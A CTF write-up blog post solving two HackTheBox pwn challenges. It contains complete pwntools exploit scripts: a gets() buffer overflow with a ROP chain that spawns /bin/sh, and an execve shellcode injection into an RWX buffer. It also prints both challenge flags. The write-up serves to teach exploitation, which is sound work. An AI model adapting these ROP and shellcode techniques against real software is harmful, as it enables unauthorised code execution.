Neurogrid CTF: Human-Only 2025 | Pwn
Pwn challenges from Neurogrid CTF: Human-Only 2025
Neurogrid CTF: Human-Only 2025 was a 4-day CTF hosted by HackTheBox. I competed solo and finished in the top 4 out of 1,337 players. This post covers the Pwn challenges.


WhisperVault [easy]
Description: Beneath the shrine’s floorboards lies a small wooden vault, sealed in dust and silence. When opened, it reveals only a single strip of rice paper and a faint scent of incense. It does not ask for gold, or oaths—only a name. Whisper one, and the vault will listen. But be warned: once a name is spoken here, it never truly leaves.
Points: 975 | Difficulty: Easy
Analysis
A 64-bit statically linked ELF binary that displays ASCII art of a vault and prompts for input. Running it shows:
1The Whisper Vault
2>Looking at the disassembly of main at 0x401873:
10000000000401873 <main>:
2 401877: push %rbp
3 401878: mov %rsp,%rbp
4 40187b: sub $0x400,%rsp # 1024-byte buffer
5 ...
6 4018a0: lea -0x400(%rbp),%rax # Buffer at rbp-0x400
7 4018a7: mov %rax,%rdi
8 4018af: call 4121e0 <_IO_gets> # gets() - no bounds check
9 ...
10 4018e6: leave
11 4018e7: retThe vulnerability is straightforward - gets() reads into a 1024-byte buffer with no size limit. The buffer is at rbp-0x400, so we need 1024 bytes to fill the buffer plus 8 bytes for the saved RBP, giving us an offset of 1032 bytes to overwrite the return address.
Since the binary is statically linked, we have plenty of ROP gadgets available. The goal is to call execve("/bin/sh", NULL, NULL) using syscall 59.
Exploitation
The ROP chain needs to:
- Write
/bin//shstring to the.datasection (at0x4c50e0) - Set up registers: rdi = pointer to string, rsi = NULL, rdx = NULL
- Set rax to 59 and execute syscall
1#!/usr/bin/env python3
2from pwn import *
3
4context.arch = 'amd64'
5
6offset = 1032
7
8def get_rop_chain():
9 rop = b''
10 # Write "/bin//sh" to .data
11 rop += p64(0x0000000000409ffe) # pop rsi ; ret
12 rop += p64(0x00000000004c50e0) # @ .data
13 rop += p64(0x0000000000450107) # pop rax ; ret
14 rop += b'/bin//sh'
15 rop += p64(0x0000000000452875) # mov qword ptr [rsi], rax ; ret
16
17 # Write NULL terminator
18 rop += p64(0x0000000000409ffe) # pop rsi ; ret
19 rop += p64(0x00000000004c50e8) # @ .data + 8
20 rop += p64(0x000000000043ee79) # xor rax, rax ; ret
21 rop += p64(0x0000000000452875) # mov qword ptr [rsi], rax ; ret
22
23 # Set up execve arguments
24 rop += p64(0x0000000000401f8f) # pop rdi ; ret
25 rop += p64(0x00000000004c50e0) # @ .data ("/bin//sh")
26 rop += p64(0x0000000000409ffe) # pop rsi ; ret
27 rop += p64(0x00000000004c50e8) # @ .data + 8 (NULL)
28 rop += p64(0x0000000000485e6b) # pop rdx ; pop rbx ; ret
29 rop += p64(0x00000000004c50e8) # @ .data + 8 (NULL)
30 rop += p64(0x4141414141414141) # padding for rbx
31
32 # Set rax to 59 (execve syscall number)
33 rop += p64(0x000000000043ee79) # xor rax, rax ; ret
34 for _ in range(59):
35 rop += p64(0x0000000000478530) # add rax, 1 ; ret
36
37 rop += p64(0x0000000000401d44) # syscall
38 return rop
39
40def exploit(target):
41 if target == 'local':
42 p = process('./whisper_vault')
43 else:
44 p = remote('94.237.59.242', 31649)
45
46 payload = b'A' * offset + get_rop_chain()
47
48 p.recvuntil(b'>')
49 p.sendline(payload)
50 p.interactive()
51
52if __name__ == '__main__':
53 import sys
54 target = sys.argv[1] if len(sys.argv) > 1 else 'local'
55 exploit(target)The 59 add rax, 1 gadgets are verbose but reliable - finding a single mov rax, 59 or pop rax with controlled value would be cleaner but this works.
Flag
Flag:
HTB{0nly_s1l3nc3_kn0ws_th3_n4m3_48c74cd21cbbc22de18f431344d4a923}
RiceField [very easy]
Description: Takashi, the fearless blade of the East, weary from countless battles, now seeks not war—but warmth. His body aches, his spirit hungers. Upon the road, he discovers a sacred haven: the legendary Rice Field Restaurant, known across the land for its peerless grains. But here, the rice is not served—it is earned. Guide Takashi as he prepares his own perfect bowl, to restore his strength and walk the path once more.
Points: 975 | Difficulty: Very Easy
Analysis
A PIE-enabled 64-bit binary presenting a menu:
11. Collect Rice
22. Cook Rice
33. QuitThe collect_rice function increments a global counter, and cook_rice is where the interesting behavior happens. Looking at the disassembly:
1cook_rice:
2 # Allocate heap buffer based on rice count
3 mov 0x25eb(%rip),%eax # load rice count
4 call calloc@plt
5
6 # Allocate EXECUTABLE memory via mmap
7 mov $0x7,%edx # PROT_READ|PROT_WRITE|PROT_EXEC
8 mov $0x22,%ecx # MAP_PRIVATE|MAP_ANONYMOUS
9 call mmap@plt
10
11 # Read user input into heap buffer
12 call read@plt
13
14 # Copy to executable region
15 call memcpy@plt
16
17 # Execute!
18 call *%rdx # indirect call to our shellcodeThis is an intentional shellcode execution challenge. The program allocates RWX memory, reads user input, copies it there, and jumps to it. The only constraint is the rice counter which starts at 10 and maxes out at 26.
Exploitation
A 26-byte execve("/bin/sh") shellcode fits perfectly:
1#!/usr/bin/env python3
2from pwn import *
3
4HOST = '83.136.253.132'
5PORT = 46451
6
7MENU_PROMPT = b'\xef\xbc\x9e ' # Full-width ">>"
8PERCENT_PROMPT = b'\xef\xbc\x85 ' # Full-width "%"
9DEFAULT_RICE = 10
10
11context.arch = 'amd64'
12
13shellcode = asm('''
14 xor esi, esi
15 xor edx, edx
16 push 0
17 mov rbx, 0x68732f2f6e69622f
18 push rbx
19 mov rdi, rsp
20 push 0x3b
21 pop rax
22 syscall
23''')
24
25def exploit():
26 if args.LOCAL:
27 p = process('./rice_field')
28 else:
29 p = remote(HOST, PORT)
30
31 # Collect rice to reach shellcode size
32 rice_needed = len(shellcode) - DEFAULT_RICE
33 p.recvuntil(MENU_PROMPT)
34 p.sendline(b'1')
35 p.recvuntil(PERCENT_PROMPT)
36 p.sendline(str(rice_needed).encode())
37
38 # Cook rice - triggers shellcode execution
39 p.recvuntil(MENU_PROMPT)
40 p.sendline(b'2')
41 p.recvuntil(PERCENT_PROMPT)
42 p.send(shellcode)
43
44 p.interactive()
45
46if __name__ == '__main__':
47 exploit()The full-width Unicode prompts are a minor obstacle - the program uses Japanese-style formatting characters instead of standard ASCII.
Flag
Flag:
HTB{~Gohan_to_flag_o_tanoshinde_ne~_c850535e925b144c7f3ce313c52841dd}